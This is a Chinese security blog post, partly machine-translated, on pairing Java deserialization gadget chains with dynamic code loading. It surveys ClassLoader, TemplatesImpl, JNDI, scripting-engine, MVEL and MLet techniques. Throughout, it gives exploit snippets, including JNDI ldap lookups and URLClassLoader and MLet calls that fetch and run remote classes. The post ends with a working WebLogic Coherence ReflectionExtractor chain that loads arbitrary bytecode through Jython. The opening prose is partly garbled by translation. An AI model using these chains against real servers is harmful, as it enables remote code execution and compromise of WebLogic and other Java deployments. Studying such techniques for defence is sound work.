Java单向代码执行链配合的动态代码

Java
257
0
0
2023-06-02

Java 反序列化漏洞的危害不仅在于普通小工具所能带来的命令执行,还在于使用链构建的单向代码链所能实现的有限能力,因为Java应用程序场景和小工具大多构建单向代码执行。然而,在大多数情况下,比如需要echo和注入内存shell,我们实际上非常需要直接运行整个类或者运行一个上下文相关的多行代码来进行动态执行。它经常要求反序列化使用一个链来与另一个能够动态执行代码的链合作。这也是我们在这里主要讨论的情况。下面将简要介绍一些相对常见的方法,在这些方法中,下面的部分可以直接在动态代码上下文中执行。

单向代码利用了链的缺点

我们常见的著名Java 反序列化小工具,如系列中的TransformerChain。不久前还有weblogic coherence的反射提取器。虽然它们大多数存在于oracle产品中,但是这个链的效果与TransformerChain相当,这非常有趣。这里没有过多描述具体的原理。在分析和使用过程中,我们可以发现,因为它们的执行属于一个可以返回对象并再次进行对象调用的链式结构。所以我们不能在中途为相应的执行代码做任何额外的事情,这就是为什么它变成了一个链。它的下一个执行方法受到上一步返回的对象的限制。

举一个简单的例子,我们经常使用这种小工具进行反射调用来执行相应的方法。首先,它有一个条件,我们可以编写的普通代码是一个链结构,例如:

  Runtime.getRuntime()。exec(' ls  ');  

如果相应类中getRuntime方法的描述符指定的访问权限不是公共的,那么我们不能直接调用。此时,我们需要在获取类之后,通过使用中间的反射式单步AccessibleObject的setAccessible来取消默认的Java语言访问控制检查,但是它不返回值,因此不能在链中使用。因此,单向代码利用链不能执行关联的上下文代码。这种操作在对象内部属性的添加、删除和修改中很常见。缺少返回值意味着我们不能构建一个有效的执行链。

另一种情况是,如果相应的方法想要传入指定类型的参数对象,这不仅意味着存在上述问题,而且如果被处理的对象需要满足对象支持反序列化的条件此外,在需要回应或做一些额外事情的情况下,它是非常有限的,因为我们不仅需要可执行代码上下文,而且期望在当前的执行环境中获得上下文。实际的关键是,我们需要在当前的执行环境中使用类加载器来加载我们需要运行的代码,或者通过其他脚本引擎来加载代码。

单向代码利用了链的缺点,也就是说,为什么我们需要动态代码上下文执行?事实上,它的核心是使用Java来动态编译和加载。安全性通常在jsp shell的旁路中找到。当然,由于单向执行链的前提条件,没有比jsp shell更多的姿态,但是有一些额外的链匹配其他类库。

动态代码上下文执行链

这里的简短共享部分可以通过单向代码执行链和一些小原则来执行动态代码,也欢迎添加。没有讨论多次执行和文件登陆的必要性。

 ClassLoader

loadClassass 

这里没有特别提到类装入器的相关知识。类加载的相关知识可以自己查阅。事实上,可以直接使用的常用类加载器并不多,因为其最终操作的核心需要触发loadClass。为了正常地完成父委托过程,有必要定义parentClassLoader,除非它要启动类加载器或中断父委托。因此,在loadClass可以运行之前,需要定义当前的classLoader实例(即设置了parentClassLoader)。类加载器的大多数第三方实现要求用户自己获取和传递自定义或上下文类加载器对象,例如:

Java单向代码执行链配合的动态代码

同时ClassLoader类也不支持序列化因此也无法传入,所以我们要找到直接可以调用的就需要满足它运行时自己获取了上下文的classLoader而不用我们传入。

比如:

  • org.mozilla.classfile.DefiningClassLoader
  • groovy.lang.GroovyClassLoader
  • com.sun.org.apache.bcel.internal.util.ClassLoader……


defineClass

前面讲了利用ClassLoader的首个条件,对于ClassLoader来获取class,它必经之路就是loadClass方法。即使很多人说使用defineClass也可以构造一个class,但它实际上也会走次loadClass,我们可以简单过下原理。

首先加载类的话它会先尝试加载父类。当我们调用defineClass的时候,它会走到Native方法defineClass1

ClassLoader.c#Java_java_lang_ClassLoader_defineClass1() -> jvm.cpp#JVM_DefineClassWithSource() -> jvm.cpp#jvm_define_class_common()

 // common code for JVM_DefineClass() and JVM_DefineClassWithSource()
// and JVM_DefineClassWithSourceCond()
static jclass jvm_define_class_common(JNIEnv *env, const char *name,
                                      jobject loader, const jbyte *buf,
                                      jsize len, jobject pd, const char *source,
                                      jboolean verify, TRAPS) {
  if (source == NULL)  source = "__JVM_DefineClass__";
 
  assert(THREAD->is_Java_thread(), "must be a JavaThread");
  JavaThread* jt = (JavaThread*) THREAD;
 
  PerfClassTraceTime vmtimer(ClassLoader::perf_define_appclass_time(),
                             ClassLoader::perf_define_appclass_selftime(),
                             ClassLoader::perf_define_appclasses(),
                             jt->get_thread_stat()->perf_recursion_counts_addr(),
                             jt->get_thread_stat()->perf_timers_addr(),
                             PerfClassTraceTime::DEFINE_CLASS);
 
  if (UsePerfData) {
    ClassLoader::perf_app_classfile_bytes_read()->inc(len);
  }
 
  // Since exceptions can be thrown, class initialization can take place
  // if name is NULL no check for class name in .class stream has to be made.
  TempNewSymbol class_name = NULL;
  if (name != NULL) {
    const int str_len = (int)strlen(name);
    if (str_len > Symbol::max_length()) {
      // It's impossible to create this class;  the name cannot fit
      // into the constant pool.
      THROW_MSG_0(vmSymbols::java_lang_NoClassDefFoundError(), name);
    }
    //为类创建符号
    class_name = SymbolTable::new_symbol(name, str_len, CHECK_NULL);
  }
 
  ResourceMark rm(THREAD);
  ClassFileStream st((u1*) buf, len, (char *)source);
  Handle class_loader (THREAD, JNIHandles::resolve(loader));
  if (UsePerfData) {
    is_lock_held_by_thread(class_loader,
                           ClassLoader::sync_JVMDefineClassLockFreeCounter(),
                           THREAD);
  }
  Handle protection_domain (THREAD, JNIHandles::resolve(pd));
  //从字节文件中为该类解析创建一个klassOop对象,表示Java类
  klassOop k = SystemDictionary::resolve_from_stream(class_name, class_loader,
                                                     protection_domain, &st,
                                                     verify != 0,
                                                     CHECK_NULL);
 
  if (TraceClassResolution && k != NULL) {
    trace_class_resolution(k);
  }
 
  return (jclass) JNIHandles::make_local(env, Klass::cast(k)->java_mirror());
}  

这里主要是最后调用

SystemDictionary::resolve_from_stream() 将Class文件加载成内存中的Klass。

Java单向代码执行链配合的动态代码

在其中会走进一次

ClassFileParser::parseClassFile 函数

 instanceKlassHandle k = ClassFileParser(st).parseClassFile(class_name,
                                                             loader_data,
                                                             protection_domain,
                                                             parsed_name,
                                                             verify,
                                                             THREAD);  

Java单向代码执行链配合的动态代码

我们可以看到它在其中调用了

SystemDictionary::resolve_super_or_fail ,这个函数会对父类进行解析,因为我们defineClass的类是继承java.lang.Object的,所以会根据多态用我们使用的类加载器调用loadClass来加载java.lang.Object。

也就是说肯定会出现父类(这里是java.lang.Object)进入到loadClass方法,而这时如果没有像前面说的设定classloader就会报空指针了。

DefiningClassLoader

继续回归主题,在loadClass之前我们一般需要先直接调用defineclass方法去加载byte[]来构造一个Class对象返回,而实际情况很少有public的defineClass,也即我们无法直接调用它的defineClass方法。

所以主要符合的类有两个条件,首先需要找到一个它运行初静态块或构造方法里,或defineClass这种会触发的方法,它们自己完成了获取了上下文的classLoader而不用我们传入,其次就是defineClass的访问权限为public,同时可以接收byte或可序列化的类型在后续进行构造。

最常见的就是

org.mozilla.classfile.DefiningClassLoader

 DefiningClassLoader.class
    .newInstance()
        .defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0})
            .newInstance()  

传入的byte数组即由class转换,在class中我们可以写入任意代码来达到目的

GroovyClassLoader

同上

 GroovyClassLoader.class
    .newInstance()
        .defineClass("cn.rui0.ClassLoader.HelloWorld", new byte[]{0,0,0})
            .newInstance()  

也可以使用Groovy语法来执行上下文的多条代码,比如使用GroovyShell

 GroovyShell.class
    .newInstance()
        .evaluate("" +
                "def cl = this.class.classLoadern" +
                "while (cl) {n" +
                "println cln" +
                "cl = cl.parentn" +
                "}");  

Java单向代码执行链配合的动态代码

BCEL ClassLoader

字节码操作相关类,这里举例BCEL(Byte Code Engineering Library),是Java classworking最广泛使用的一种框架。它在实际的JVM指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist所强调的源代码级别的工作。

JDK1.6开始引入自带的BCEL,BCEL的ClassLoader对于高版本的JDK也是在实际中非常好利用的一种。需要注意的是BCEL loadClass时候会有classpath的限制。

加载一个报错class。

如果有继承非 “java.”, “javax.”, “sun.” 包中的类需要额外设置,因为调用BCEL无参的构造方法之后loadclass会走SyntheticRepository的,所以会有classpath限制。直接传classloader对象也可以不过它不支持序列化,所以可以通过添加ignored_packages来绕过限制。

 com.sun.org.apache.bcel.internal.util.ClassLoader.class
    .getConstructor(new Class[]{String[].class})
        .newInstance(new Object[]{new String[]{"cn"}})
            .loadClass("$$BCEL$$$.......")
                .getConstructor(new Class[0])
                    .newInstance(new Object[]{});  

这样就可以支持加载继承了cn包开头的类。

URLClassLoader

比较常见了,主要的问题是需要出网,不出网的话需要先在本地写入文件,这里不讨论这种情况。

ClassLoader是一个抽象类,很多方法是空的没有实现,比如 findClass()、findResource()等。而URLClassLoader这个实现类为这些方法提供了具体的实现,并新增了URLClassPath类协助取得Class字节码流等功能,实际上主要还原class还是通过defineClass。

 URLClassLoader.class
    .getConstructor(new Class[]{URL[].class})
        .newInstance(new Object[]{new URL[]{new URL("#34;")}})
            .loadClass("Rrrr")
                .newInstance()  

这里可以嵌套URL对象的原因就是它符合了我们之前提到的支持序列化的条件,所以用gadget构造上面这条链是可以的。同时 java.net.URLClassLoader#URLClassLoader(java.net.URL[]) 一直super调到了java.lang.ClassLoader里面的初始化所以拿到了systemClassloader。

对于不可直接利用的ClassLoader这里先不提,需要后面的其它方式配合。

TemplatesImpl

这个属于实际中用到的最多的了,因为它存在于rt.jar里,正常情况下都可以用到,大家应该也都很熟悉。具体可以参考ysoserial的createTemplatesImpl做简单的修改

 public static Object createTemplatesImpl(Class transletPayload) throws Exception {
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(transletPayload));
        //pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(transletPayload.getName());
        if (clazz.isFrozen())
            clazz.defrost();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass superC = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superC);
        final byte[] classBytes = clazz.toBytecode();
        // inject class bytes into instance
        Object templates = TemplatesImpl.class.newInstance();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
 
        return templates;
    }  
 public class TestTranslet{
    static {
        // code
    }
}  

将对应的执行代码编写到TestTranslet类的静态块中,初始化即可调用。

触发点可以调用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer ,它会触发getTransletInstance()然后根据_bytecodes去defineClass并且newInstance初始化。

可以使用TrAXFilter来配合

 TrAXFilter.class
    .getConstructor(new Class[] { Templates.class })
        .newInstance(Gadgets.createTemplatesImpl(TestTranslet.class))  

JNDI

16年的BlackHat上@pwntester分享了通过JNDI注入进行RCE利用,现在也是比较常见的方法。需出网,有jdk版本限制,都懂不多说了。

 InitialContext.class
    .newInstance()
        .lookup("ldap://127.0.0.1:1389/Rrrr")  

ScriptEngine

jdk1.6开始就提供了动态脚本语言诸如JavaScript动态的支持,1.8开始使用新的Nashorn JavaScript引擎。Nashorn通过在JVM上,以原生方式运行动态的JavaScript代码来扩展Java的功能。实际使用过程中需要考虑下版本的问题,payload有些地方要改动。

它可以用js语法来执行操作,当然它可以使用一些方法来引入java类,由此来通过Nashorn来操作java运行情况。

 ScriptEngineManager.class
    .newInstance()
        .getEngineByName("Nashorn")
            .eval(
                "print('---------');n" +
                "var Thread = Java.type('java.lang.Thread');n" +
                "var stack = Thread.currentThread().getStackTrace();n"+
                "for (var i=0;i< stack.length; i++){print(stack[i])}n"+
                "print('---------')n"
            )  

因此可以来执行任意java上下文代的代码,如果想要直接加载java代码可以利用js语法调用java的classloader去defineClass加载,这时候就没什么前面说的限制了,因为我们可以使用反射了(没有使用SecurityManager或授权的情况下)。

Jython

Jython是用Java编写的,由于继承了Java和Python二者的特性而显得很独特,它是一种完整的语言,而不是一个Java翻译器或仅仅是一个Python编译器。Jython是一个Python语言在Java中的完全实现。在Java中实现Python可以看到有趣的Java反射API的作用。反射使Jython能无缝地使用任何Java类。

 PythonInterpreter.class
    .newInstance()
        .exec(
                "from java.lang import Thread;n" +
                "stack=Thread.currentThread().getStackTrace();n" +
                "for i in range(0, len(stack)):n" +
                "   print(stack[i])n"
                );  

JRuby

JRuby是一个纯Java实现的Ruby解释器。通过JRuby,你可以在JVM上直接运行Ruby程序,调用Java的类库。

 ScriptingContainer.class
    .newInstance()
        .runScriptlet("stack= Java::java.lang.Thread.currentThread().getStackTrace()n" +
                "stack.each do |i|n" +
                "   puts in" +
                "endn");  

因为支持JSR223,所以我们也可以用ScriptEngineManager来调用,或BSF。当然Java还支持其它的脚本语言,这里不再举例。

EL

实际上就是我们常见的EL注入的位置,选择一些支持多行执行的EL表达式进行操作,这里举例MVEL,语法更趋近于Java。当然并不是所有类型EL都支持都上下文的代码段,有部分只支持一个完整的代码片段即一个表达式。

 MVEL.class
    .getMethod("eval",new Class[]{String.class})
        .invoke(null,
                 "foreach(stack:Thread.currentThread().getStackTrace()){n" +
                 "System.out.println(stack);n" +
                 "}n");  

MLet

JMX的远程命令执行攻击手法,利用MLet加载并实例化我们指定的远程jar,需要出网。

 MLet.class
    .getConstructor(new Class[]{URL[].class})
        .newInstance(new Object[]{new URL[]{new URL("#34;")}})
            .loadClass("ProcessExec").getConstructor(new Class[]{String.class})
                .newInstance(new Object[]{"ifconfig"});  

Java单向代码执行链配合的动态代码

案例

实际场景中大多数是用自带的BCEL ClassLoader或者TemplatesImpl。

比如说Weblogic过滤了TemplatesImpl

Java单向代码执行链配合的动态代码

那需要绑定rmi实例回显的方式就使用了DefiningClassLoader,后来高版本官方去掉了这个包,大家又开始使用URLClassLoader,不过有个条件就是需要出网,当然也可以配合一条写文件的gadget,只不过需要多次请求,还会留下文件痕迹。

上面总结了这些,不出网加载的话Weblogic还是可以使用BCEL ClassLoader的方式加载字节码,BCEL使用加载的classpath有限制,可以通过上面提到的添加ignored_packages来绕过,添加一个weblogic即可,不过不支持<jdk1.6版本。也可以用ScriptEngine不过需要区别jdk版本,同时如果版本太低也不支持。同时又翻了下Weblogic的包,发现也可以用Jython。

所以用Jython的方式配合Coherence的gadget会比较通用,这里来写一下。

因为全用Jython语法调Java还是有些大坑的,适度避免一下,所以首先翻了下Weblogic使用的Jython版本的包内容,发现存在

org.python.core.BytecodeLoader

其中makeClass比较舒服可以直接拿来用,不过存在的问题就是之前最开始提到的没有parentClassLoader

所以用直接调用BytecodeLoader是不行的。

看了下调用流程发现使用PythonInterpreter实例化的时候会自动生成,所以正好配合之前Jython的调用上下文代码方法。大致流程就成了 Coherence gadget -> PythonInterpreter exec -> BytecodeLoader makeClass

 ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getConstructor", new Object[]{new Class[0]});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("newInstance", new Object[]{new Object[0]});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec",
        new Object[]{"from org.python.core import BytecodeLoader;n" +
                        "from jarray import arrayn" +
                        "myList = [-54,-2,-70,-66,0,0,0,50,0,-64,10,......]n" +
                        "bb = array( myList, 'b')n" +
                        "BytecodeLoader.makeClass("RemoteImpl",None,bb).getConstructor([]).newInstance([]);"}
        );
ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3
        };
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
 
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };
 
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
 
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
 
Object[] queueArray = (Object[]) cn.rui0.exp.utils.Reflections.getFieldValue(queue, "queue");
queueArray[0] = PythonInterpreter.class;
queueArray[1] = "1";  

总结

不是什么新东西,算一个利用思路吧,好久没写东西了顺手总结一下。当然提到的并不是全部,也欢迎补充。还有很多单语句的执行方式比如JShell,BeanShell这里不在讨论范围。最开始也说了这种方式是配合存在单向代码执行链拓展威力的一种方法,它的核心其实就是利用Java提供的动态编译,其中也有一部分是用自己的脚本解析引擎。事实上不光是反序列化,这类动态加载方法还可以配合单行执行的各种问题,比如只支持一个表达式的EL注入等。